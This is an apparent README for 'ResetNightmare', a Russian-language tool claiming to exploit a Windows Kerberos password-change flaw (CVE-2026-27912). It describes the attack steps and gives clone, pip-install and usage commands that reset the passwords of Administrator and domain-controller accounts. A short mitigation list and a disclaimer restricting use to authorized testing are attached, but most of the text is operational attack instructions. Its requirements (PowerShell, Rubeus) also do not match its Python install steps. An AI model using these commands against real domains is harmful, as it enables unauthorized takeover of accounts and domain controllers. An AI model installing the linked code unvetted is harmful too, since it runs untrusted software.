Kerberos-CVE-2026-27912

CVE-2026-27912 — уязвимость повышения привилегий Windows Kerberos

ResetNightmare — несанкционированный сброс пароля через ошибку протокола смены пароля Kerberos.

📋 Сведения

🔍 Схема атаки

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

📦 Требования

• Windows с PowerShell
• Модуль ActiveDirectory (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (скачать с GhostPack/Rubeus)
• Сетевой доступ к контроллеру домена

🚀 Установка

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

💻 Использование

Базовая атака

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

Атака на учётную запись компьютера

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

Создание новой учётной записи

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

Подробный режим

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

📊 Аргументы

🛡️ Меры по устранению

1. Установите официальный патч из обновления безопасности Microsoft
2. Сегментируйте сеть, чтобы ограничить доступ через смежную сеть
3. Соблюдайте принцип минимальных привилегий — ограничьте права на запись UPN
4. Отслеживайте подозрительные изменения UPN и сбросы паролей

⚠️ Отказ от ответственности

Только для авторизованного тестирования безопасности и образовательных исследований.

Несанкционированный доступ к компьютерным системам противозаконен. Автор не несёт ответственности за неправомерное использование данного программного обеспечения.

📚 Ссылки

• NVD: CVE-2026-27912
• Руководство по обновлениям безопасности Microsoft

👨‍💻 Автор

n0vax1337 / Исследователь безопасности

📄 Лицензия

Лицензия MIT — см. LICENSE

Последнее обновление: 2026